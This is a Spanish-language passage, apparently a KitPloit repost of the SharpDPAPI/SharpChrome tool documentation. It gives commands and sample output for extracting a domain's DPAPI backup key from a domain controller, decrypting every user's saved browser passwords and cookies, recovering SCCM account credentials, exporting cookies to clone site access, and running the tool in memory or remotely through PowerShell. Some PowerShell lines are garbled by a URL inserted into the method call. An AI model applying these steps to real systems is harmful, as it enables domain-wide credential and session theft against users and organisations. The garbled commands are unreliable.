Por defecto, SharpDPAPI intentará determinar el controlador de dominio actual mediante la llamada API DsGetDcName. Se puede especificar un servidor con /server:COMPUTER.domain.com. Si desea que la clave se guarde en disco en lugar de mostrarla como un blob base64, use /file:key.pvk.

Recuperar la clave de respaldo DPAPI para el controlador de dominio actual:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Recuperar clave de respaldo DPAPI del dominio


[*] Usando controlador de dominio actual  : PRIMARY.testlab.local
[*] Guid preferido de backupkey         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nombre completo preferido de backupKey     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

Recuperar la clave de respaldo DPAPI para el DC especificado, generando la clave de respaldo en un archivo:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Recuperar clave de respaldo DPAPI del dominio


[*] Usando servidor                     : primary.testlab.local
[*] Guid preferido de backupkey         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nombre completo preferido de backupKey     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Clave de respaldo escrita en        : key.pvk

search

El comando search buscará posibles blobs DPAPI en el registro, archivos, carpetas y blobs base64. Uso:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]

root@kitploit:~
El comando `search` funciona buscando los siguientes bytes, los cuales representan el encabezado (Versión + GUID del proveedor DPAPI) de la estructura del blob DPAPI:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

El comando de búsqueda tiene diferentes argumentos dependiendo del tipo de datos que se esté escaneando. Para designar el tipo de datos, use el argumento /type especificando registry, folder, file, o base64. Si el argumento /type no está presente, el comando buscará en el registro por defecto.

Al buscar en el registro sin otros argumentos, el comando buscará recursivamente en las colmenas HKEY_LOCAL_MACHINE y HKEY_USERS. Use el parámetro /path para especificar una clave raíz desde la cual buscar (ej. /path:HKLM\Software) y use el argumento /showErrors para mostrar los errores que ocurren durante la enumeración.

Al buscar un archivo o carpeta, especifique una ruta con /path:C:\Path\to\file\or\folder y opcionalmente use /maxBytes:<int> para especificar el número de bytes a leer de cada archivo (por defecto: 1024 bytes). El comando leerá los bytes desde el inicio del archivo y buscará blobs DPAPI. Use /showErrors para mostrar los errores que ocurren durante la enumeración.

Al buscar un blob base64, especifique los bytes codificados en base64 a escanear con el parámetro /base64:<base64 str>.

SCCM

Si se ejecuta con privilegios elevados en una máquina que es cliente SCCM, si el entorno SCCM está configurado con una Cuenta de Acceso a la Red (NAA), los blobs DPAPI protegidos por la clave maestra del sistema que contienen las credenciales NAA se pueden recuperar a través de WMI; El comando SCCM consultará los blobs a través de WMI, recuperará las claves maestras del sistema y descifrará los blobs.

SharpChrome Commands

logins

El comando logins buscará archivos 'Login Data' de Chrome y descifrará las contraseñas de inicio de sesión guardadas. Si la ejecución se realiza en un contexto sin privilegios elevados, se usará automáticamente CryptProtectData() para intentar descifrar los valores. Si se especifica /browser:edge, se analizará el navegador Edge más nuevo basado en Chromium.

Los archivos Login Data también se pueden descifrar con a) cualquier clave maestra "{GUID}:SHA1 {GUID}:SHA1 ..." pasada, b) un /mkfile:ARCHIVO de una o más asignaciones de clave maestra {GUID}:SHA1, c) una clave de respaldo de dominio DPAPI proporcionada (/pvk:BASE64... o /pvk:key.pvk) para descifrar primero cualquier clave maestra de usuario, o d) una /password:X para descifrar cualquier clave maestra de usuario, que luego se utilizan como una tabla de búsqueda de descifrado. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando sekurlsa::dpapi de Mimikatz.

Se puede especificar un archivo Login Data específico con /target:ARCHIVO. Se puede especificar un /server:SERVIDOR remoto si también se proporciona un /pvk o /password. Si se analizan instancias más nuevas de Chrome/Edge, se puede especificar una clave de estado AES /statekey:X.

Por defecto, los inicios de sesión se muestran en formato csv. Esto se puede modificar con /format:table para salida en tabla. Además, por defecto solo se muestran las entradas de valor de contraseña no nulas, pero se pueden mostrar todos los valores con /showall.

Si se ejecuta desde un contexto elevado, se analizarán los archivos Login Data de TODOS los usuarios; de lo contrario, solo se procesarán los archivos Login Data del usuario actual.

cookies

El comando cookies buscará archivos 'Cookies' de Chromium y descifrará los valores de las cookies. Si la ejecución se realiza en un contexto sin privilegios elevados, se usará automáticamente CryptProtectData() para intentar descifrar los valores. Puede cambiar la aplicación de destino usando /browser:<VALOR> (ej., edge, brave, slack).

Los archivos de cookies también se pueden descifrar con a) cualquier clave maestra "{GUID}:SHA1 {GUID}:SHA1 ..." pasada, b) un /mkfile:ARCHIVO de una o más asignaciones de clave maestra {GUID}:SHA1, c) una clave de respaldo de dominio DPAPI proporcionada (/pvk:BASE64... o /pvk:key.pvk) para descifrar primero cualquier clave maestra de usuario, o d) una /password:X para descifrar cualquier clave maestra de usuario, que luego se utilizan como una tabla de búsqueda de descifrado. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando sekurlsa::dpapi de Mimikatz.

Se puede especificar un archivo Cookies específico con /target:ARCHIVO. Se puede especificar un /server:SERVIDOR remoto si también se proporciona un /pvk o /password. Si se analizan instancias más nuevas de Chrome/Edge, se puede especificar una clave de estado AES /statekey:X.

Por defecto, las cookies se muestran en formato csv. Esto se puede modificar con /format:table para salida en tabla, o /format:json para salida importable por EditThisCookie. Además, por defecto solo se muestran las entradas de valor de cookie no expiradas, pero se pueden mostrar todos los valores con /showall.

Si se ejecuta desde un contexto elevado, se analizarán los archivos de cookies de TODOS los usuarios; de lo contrario, solo se procesarán los archivos de cookies del usuario actual.

El comando cookies también tiene argumentos /cookie:REGEX y /url:REGEX para devolver solo nombres de cookies o URL que coincidan con la expresión regular proporcionada. Esto es útil con /format:json para clonar fácilmente el acceso a sitios específicos.

statekeys

Por defecto, el comando statekeys buscará aplicaciones basadas en Chromium (Google Chrome, Edge, Brave y Slack), localizará sus archivos de clave de estado AES (ej., 'AppData\Local\Google\Chrome\User Data\Local State' y 'AppData\Local\Microsoft\Edge\User Data\Local State'), y los descifrará usando el mismo tipo de argumentos que se pueden proporcionar para cookies y logins. También puede proporcionar la ruta a un archivo de clave de estado específico usando el parámetro /target: (ej., "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").

Las claves de estado también se pueden descifrar con a) cualquier clave maestra "{GUID}:SHA1 {GUID}:SHA1 ..." pasada, b) un /mkfile:ARCHIVO de una o más asignaciones de clave maestra {GUID}:SHA1, c) una clave de respaldo de dominio DPAPI proporcionada (/pvk:BASE64... o /pvk:key.pvk) para descifrar primero cualquier clave maestra de usuario, o d) una /password:X para descifrar cualquier clave maestra de usuario, que luego se utilizan como una tabla de búsqueda de descifrado. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando sekurlsa::dpapi de Mimikatz.

Si se ejecuta desde un contexto elevado, se analizarán las claves de estado de TODOS los usuarios; de lo contrario, solo se procesarán las claves de estado del usuario actual.

backupkey

El comando backupkey recuperará la clave de respaldo de dominio DPAPI de un controlador de dominio utilizando el enfoque de API LsaRetrievePrivateData de Mimikatz. Esta clave privada se puede usar para descifrar blobs de clave maestra para cualquier usuario del dominio. Y mejor aún, la clave nunca cambia ;)

Se necesitan derechos de administrador de dominio (o equivalentes) para recuperar la clave de un controlador de dominio remoto.

La bandera /nowrap evitará que la clave base64 se envuelva al mostrarse.

Este blob de clave base64 se puede decodificar a un archivo .pvk binario que luego se puede usar con el módulo dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk de Mimikatz, o usarse en forma de blob/archivo /pvk:X con los comandos masterkeys, credentials o vault de SharpDPAPI.

Por defecto, SharpDPAPI intentará determinar el controlador de dominio actual a través de la llamada API DsGetDcName. Se puede especificar un servidor con /server:COMPUTER.domain.com. Si desea que la clave se guarde en disco en lugar de mostrarse como un blob base64, use /file:key.pvk.

Compile Instructions

We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)

SharpDPAPI se ha compilado para .NET 3.5 y es compatible con Visual Studio 2019 Community Edition. Simplemente abra el proyecto .sln, elija "Release" y compile.

Apuntando a otras versiones de .NET

La configuración de compilación predeterminada de SharpDPAPI es para .NET 3.5, lo que fallará en sistemas sin esa versión instalada. Para apuntar SharpDPAPI a .NET 4 o 4.5, abra la solución .sln, vaya a Project -> SharpDPAPI Properties y cambie el "Target framework" a otra versión.

Nota al margen: Ejecutar SharpDPAPI a través de PowerShell

Si desea ejecutar SharpDPAPI en memoria a través de un envoltorio de PowerShell, primero compile SharpDPAPI y codifique en base64 el ensamblado resultante:

root@kitploit:~
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

SharpDPAPI se puede cargar en un script de PowerShell con lo siguiente (donde "aa..." se reemplaza con la cadena del ensamblado SharpDPAPI codificado en base64):

root@kitploit:~
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

El método Main() y cualquier argumento se pueden invocar de la siguiente manera:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:Main(%22machinemasterkeys%22)

Nota al margen de la nota al margen: Ejecutar SharpDPAPI sobre PSRemoting

Debido a la forma en que PSRemoting maneja la salida, necesitamos redirigir stdout a una cadena y devolver eso en su lugar. Afortunadamente, SharpDPAPI tiene una función para ayudar con eso.

Si sigue las instrucciones en Nota al margen: Ejecutar SharpDPAPI a través de PowerShell para crear un SharpDPAPI.ps1, agregue algo como lo siguiente al script:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:MainString(%22machinemasterkeys%22)

Entonces debería poder ejecutar SharpDPAPI sobre PSRemoting con algo como lo siguiente:

root@kitploit:~
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

Alternativamente, el argumento /consoleoutfile:C:\FILE.txt de SharpDPAPI redirigirá todos los flujos de salida al archivo especificado.

Descargar herramienta
credentials
/mkfile:ARCHIVO
/pvk:BASE64...
/pvk:clave.pvk
masterkeys
/contraseña:X
sekurlsa::dpapi